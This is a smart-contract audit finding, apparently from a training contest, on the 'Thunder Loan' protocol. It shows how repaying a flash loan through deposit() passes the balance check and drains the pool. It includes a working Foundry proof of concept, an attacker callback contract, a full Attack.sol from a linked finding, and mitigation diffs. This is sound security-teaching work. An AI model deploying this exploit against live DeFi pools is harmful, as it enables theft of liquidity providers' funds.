Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
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Submission Details
Severity: high
Valid

A flash loan settled via `deposit` drains the entire pool

Root + Impact

Description

// Root cause in the codebase with @> marks to highlight the relevant sectionThunderLoan::flashloan verifies repayment by comparing the AssetToken's raw token balance before
and after the callback. deposit performs the identical safeTransferFrom into that same address —
so it satisfies the check while additionally minting shares to the caller. A borrower can therefore
convert the pool's own liquidity into a permanent claim on the pool.

uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

Risk

This is a balance comparison, not a repayment record. Compare the two ways to raise that balance:
- `repay``src/protocol/ThunderLoan.sol:241`: `token.safeTransferFrom(msg.sender, address(assetToken), amount)`
- `deposit``src/protocol/ThunderLoan.sol:172`: `token.safeTransferFrom(msg.sender, address(assetToken), amount)` **plus `assetToken.mint(msg.sender, mintAmount)` at `:169`**
`deposit` is permissionless and re-entrant with respect to `flashloan`, since the callback at `:218`
hands arbitrary execution to the borrower. Nothing prevents settling through it.

Impact:

Complete loss of LP funds. Measured with a pool of `1000e18` and an attacker seeded with `10e18`:
| | |
|---|---|
| Attacker starting balance | `10000000000000000000` (10e18) |
| Attacker ending balance | `1009999999999999999999` (~1010e18) |
| Pool remaining | `1` wei |
The attacker's net gain is the LP's entire principal. The victim LP is left holding shares against an
empty pool.

Proof of Concept

Ran tests as seen below


function test_H2_flashloanSettledByDepositDrainsPool() public {
_fund(lp, LP_DEPOSIT);
vm.prank(lp);
thunderLoan.deposit(tokenA, LP_DEPOSIT);
AssetToken at = thunderLoan.getAssetFromToken(tokenA);
uint256 poolBefore = tokenA.balanceOf(address(at));
DepositSettler settler = new DepositSettler(address(thunderLoan), address(tokenA));
tokenA.mint(address(settler), 10e18); // seed only enough to cover the fee
uint256 seed = tokenA.balanceOf(address(settler));
// Borrow the whole pool and settle by depositing instead of repaying.
settler.attack(poolBefore);
// The settlement check passed, yet the settler now holds shares.
assertGt(at.balanceOf(address(settler)), 0, "settler holds a claim on the pool");
settler.exit();
uint256 finalBal = tokenA.balanceOf(address(settler));
console.log("attacker seed :", seed);
console.log("attacker final :", finalBal);
console.log("pool remaining :", tokenA.balanceOf(address(at)));
assertGt(finalBal, seed, "attacker ended richer than it started");
}

The settler contract's callback is the whole attack

function executeOperation(address _token, uint256 amount, uint256 fee, address, bytes calldata)
external returns (bool)
{
ERC20Mock(_token).approve(address(tl), amount + fee);
tl.deposit(IERC20(_token), amount + fee); // settles the loan AND mints shares
return true;
}

Recommended Mitigation

Block deposits while a loan on that token is in flight:
Tracking repayment explicitly per loan, rather than inferring it from a balance delta, is the more
robust fix.
```diff
+error ThunderLoan__CantDepositDuringFlashLoan();
+
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CantDepositDuringFlashLoan();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];
```
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

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